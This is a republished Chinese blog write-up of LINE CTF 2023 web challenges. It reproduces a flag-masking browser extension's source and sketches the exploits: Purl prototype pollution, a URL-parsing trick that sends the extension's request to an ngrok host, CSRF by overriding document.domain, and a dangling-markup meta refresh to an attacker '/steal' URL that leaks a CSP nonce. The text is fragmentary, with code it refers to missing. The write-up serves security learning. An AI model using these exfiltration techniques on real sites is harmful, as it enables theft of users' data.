LINE CTF 2023 筆記
2023-3-27 09:10:44 Author: blog.huli.tw(查看原文) 阅读量:45 收藏

今年 Water Paddler 拿了第二名,總共 9 題 web 解掉了 8 題(我貢獻了 2 題),整體 web 的難度我覺得去年似乎比較難,今年比的人似乎也比較少一點。

話說最近我發現自己的 writeup 筆記沒有以前這麼多了,其中一個原因是最近比較忙,另一個原因是最近有興趣的題目(client side)沒這麼多,或我也有在想搞不好是隊友越變越強,還沒開題就被隊友解掉,我也懶得再去看題目,於是就懶得寫筆記了XD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(() => {
"use strict";
(() => {
console.log("Flag Master - worker script is loaded.");
var e = function(e, n) {
return n.replace(e, (function(e, r, a) {
n = n.replace(new RegExp(r, "g"), "*".repeat(r.length)), n += "\x3c!--DETECTED FLAGS ARE MASKED BY EXTENSION--\x3e"
})), n
};
chrome.runtime.onMessage.addListener((function(n, r, a) {
var t = n.regex ? new RegExp(n.regex, "g") : new RegExp("LINECTF\\{(.+)\\}", "g");
! function(e, n) {
var r = n.head,
a = n.body;
return e.test(r + a)
}(t, n) ? a({
head: null,
body: null,
flag: !1
}): a({
head: e(t, n.head),
body: e(t, n.body),
flag: !0
})
}))
})()
})();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
(() => {
var t = {
576: (t, r, e) => {
var a, n;
void 0 === (n = "function" == typeof(a = function() {
var t = {
a: "href",
img: "src",
form: "action",
base: "href",
script: "src",
iframe: "src",
link: "href",
embed: "src",
object: "data"
},
r = ["source", "protocol", "authority", "userInfo", "user", "password", "host", "port", "relative", "path", "directory", "file", "query", "fragment"],
e = {
anchor: "fragment"
},
a = {
strict: /^(?:([^:\/?#]+):)?(?:\/\/((?:(([^:@]*):?([^:@]*))[email protected])?([^:\/?#]*)(?::(\d*))?))?((((?:[^?#\/]*\/)*)([^?#]*))(?:\?([^#]*))?(?:#(.*))?)/,
loose: /^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@]*):?([^:@]*))[email protected])?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/
},
n = /^[0-9]+$/;

function o(t, e) {
for (var n = decodeURI(t), o = a[e ? "strict" : "loose"].exec(n), i = {
attr: {},
param: {},
seg: {}
}, s = 14; s--;) i.attr[r[s]] = o[s] || "";
return i.param.query = f(i.attr.query), i.param.fragment = f(i.attr.fragment), i.seg.path = i.attr.path.replace(/^\/+|\/+$/g, "").split("/"), i.seg.fragment = i.attr.fragment.replace(/^\/+|\/+$/g, "").split("/"), i.attr.base = i.attr.host ? (i.attr.protocol ? i.attr.protocol + "://" + i.attr.host : i.attr.host) + (i.attr.port ? ":" + i.attr.port : "") : "", i
}

function i(t, r) {
if (0 === t[r].length) return t[r] = {};
var e = {};
for (var a in t[r]) e[a] = t[r][a];
return t[r] = e, e
}

function s(t, r, e, a) {
var o = t.shift();
if (o) {
var u = r[e] = r[e] || [];
"]" == o ? c(u) ? "" !== a && u.push(a) : "object" == typeof u ? u[function(t) {
var r = [];
for (var e in t) t.hasOwnProperty(e) && r.push(e);
return r
}(u).length] = a : u = r[e] = [r[e], a] : ~o.indexOf("]") ? (o = o.substr(0, o.length - 1), !n.test(o) && c(u) && (u = i(r, e)), s(t, u, o, a)) : (!n.test(o) && c(u) && (u = i(r, e)), s(t, u, o, a))
} else c(r[e]) ? r[e].push(a) : "object" == typeof r[e] || void 0 === r[e] ? r[e] = a : r[e] = [r[e], a]
}

function u(t, r, e) {
if (~r.indexOf("]")) s(r.split("["), t, "base", e);
else {
if (!n.test(r) && c(t.base)) {
var a = {};
for (var o in t.base) a[o] = t.base[o];
t.base = a
}
"" !== r && function(t, r, e) {
var a = t[r];
void 0 === a ? t[r] = e : c(a) ? a.push(e) : t[r] = [a, e]
}(t.base, r, e)
}
return t
}

function f(t) {
return function(t, r) {
for (var e = 0, a = t.length >> 0, n = arguments[2]; e < a;) e in t && (n = r.call(void 0, n, t[e], e, t)), ++e;
return n
}(String(t).split(/&|;/), (function(t, r) {
try {
r = decodeURIComponent(r.replace(/\+/g, " "))
} catch (t) {}
var e = r.indexOf("="),
a = function(t) {
for (var r, e, a = t.length, n = 0; n < a; ++n)
if ("]" == (e = t[n]) && (r = !1), "[" == e && (r = !0), "=" == e && !r) return n
}(r),
n = r.substr(0, a || e),
o = r.substr(a || e, r.length);
return o = o.substr(o.indexOf("=") + 1, o.length), "" === n && (n = r, o = ""), u(t, n, o)
}), {
base: {}
}).base
}

function c(t) {
return "[object Array]" === Object.prototype.toString.call(t)
}

function d(t, r) {
return 1 === arguments.length && !0 === t && (r = !0, t = void 0), r = r || !1, {
data: o(t = t || window.location.toString(), r),
attr: function(t) {
return void 0 !== (t = e[t] || t) ? this.data.attr[t] : this.data.attr
},
param: function(t) {
return void 0 !== t ? this.data.param.query[t] : this.data.param.query
},
fparam: function(t) {
return void 0 !== t ? this.data.param.fragment[t] : this.data.param.fragment
},
segment: function(t) {
return void 0 === t ? this.data.seg.path : (t = t < 0 ? this.data.seg.path.length + t : t - 1, this.data.seg.path[t])
},
fsegment: function(t) {
return void 0 === t ? this.data.seg.fragment : (t = t < 0 ? this.data.seg.fragment.length + t : t - 1, this.data.seg.fragment[t])
}
}
}
return d.jQuery = function(r) {
null != r && (r.fn.url = function(e) {
var a, n, o = "";
return this.length && (o = r(this).attr((a = this[0], void 0 !== (n = a.tagName) ? t[n.toLowerCase()] : n)) || ""), d(o, e)
}, r.url = d)
}, d.jQuery(window.jQuery), d
}) ? a.call(r, e, r, t) : a) || (t.exports = n)
},
144: function(t, r, e) {
"use strict";
var a = this && this.__importDefault || function(t) {
return t && t.__esModule ? t : {
default: t
}
};
Object.defineProperty(r, "__esModule", {
value: !0
});
var n, o, i = a(e(576));
console.log("Flag Masker - content script is loaded."), n = (0, i.default)(location.href), o = {}, localStorage.config ? o = JSON.parse(localStorage.config) : fetch("/config").then((function(t) {
return t.json()
})).then((function(t) {
localStorage.setItem("config", JSON.stringify(t)), o = t
})), chrome.runtime.sendMessage({
regex: o.regex,
head: window.document.head.innerHTML,
body: window.document.body.innerHTML
}).then((function(t) {
t.flag && (window.document.head.innerHTML = t.head, window.document.body.innerHTML = t.body, fetch(n.data.attr.path + "/alert", {
referrerPolicy: "unsafe-url"
}))
}))
}
},
r = {};
! function e(a) {
var n = r[a];
if (void 0 !== n) return n.exports;
var o = r[a] = {
exports: {}
};
return t[a].call(o.exports, o, o.exports, e), o.exports
}(144)
})();

這個程式碼就比較長一點了,不過在做的事情大概就是先讀取 config,然後把 body 跟 head 的內容都傳給剛剛的 worker 去做取代,取代完之後再放回畫面上,然後有找到符合的內容,回報給 n.data.attr.path + /alert 這個位置。

上面那一大串如果搜尋一下,會發現是來自於 Purl 這個停止維護很久的 library,除了有 prototype pollution 的問題以外,對於網址的 parse 也是漏洞百出。

首先是 prototype pollution,我們只要污染 config 就可以控制 localStorage.config 屬性,傳入我們想要的 regexp,原本想的是可以弄個 ReDos 之類的再看怎麼樣去偵測時間,但後來發現 n.data.attr.path 這個也是可以控制的。

舉例來說,http://web:8000/#@acabc//8cae-ip.ngrok.io 這個網址的 path 會被解析成 //8cae-ip.ngrok.io,所以可以把 request 傳到我們這裡來。

其實 " 在後端一樣會被編碼,所以直接看 source 的話會看到 &#34;,但如果是用 document.body.innerHTML,或許是瀏覽器覺得沒必要 encode,就會看到雙引號,而不是 &#34;,所以雙引號的編碼反倒沒作用了。

這題有個改名字的功能,名字會直接反映在畫面上,是一個 free XSS,但問題是改名字會需要檢查 CSRF token,有一個叫做 getSettings.js 的檔案裡面會有 CSRF token:

所以這題特別檢查 context 應該是想把這個擋住,但幸好當時在研究 Intigriti 這個的時候,我發現 document.domain 其實可以自己用 Object.defineProperty 硬蓋過去,所以這樣就可以 CSRF:

再來就是要偷 nonce 了,這題用的瀏覽器是 Firefox,對於 Dangling Markup Injection 似乎沒做什麼防護,可以用 meta redirect 偷到下面的內容:<meta http-equiv=refresh content='0; url=http://43d1-ip.ngrok.io/steal?q=

最後一步就是要阻止 csp.gif 的載入,因為只要這個被載入的話,nonce 就會改變,我花了一個半小時找尋怎麼把它擋掉,原本想說應該可以靠之前提過的 concurrent limit 來防止,但怎麼弄都不成功。

在最後 query 的部分是使用了 persisted queries,以前有聽過,大概就是你先送 query 的 hash 出去,如果以前就有執行過的話,會直接送結果回來。

靠著上面操控的 path,我們可以把 path 污染成 /huli.tw/,這樣送出的 URL 就是:http://34.85.126.119:11005//huli.tw/?extensions=...,到了後端的 redirect 邏輯,最後就會被導到 //huli.tw/en/?extension=...

因此,最後的解法就是先送一次這個改造過的 query,讓 server 把結果存起來,再加上 prototype pollution,讓 request 導到我們的 server,就可以知道 hash 是多少,就能拿到結果。


文章来源: https://blog.huli.tw/2023/03/27/linectf-2023-writeup/
如有侵权请联系:admin#unsafe.sh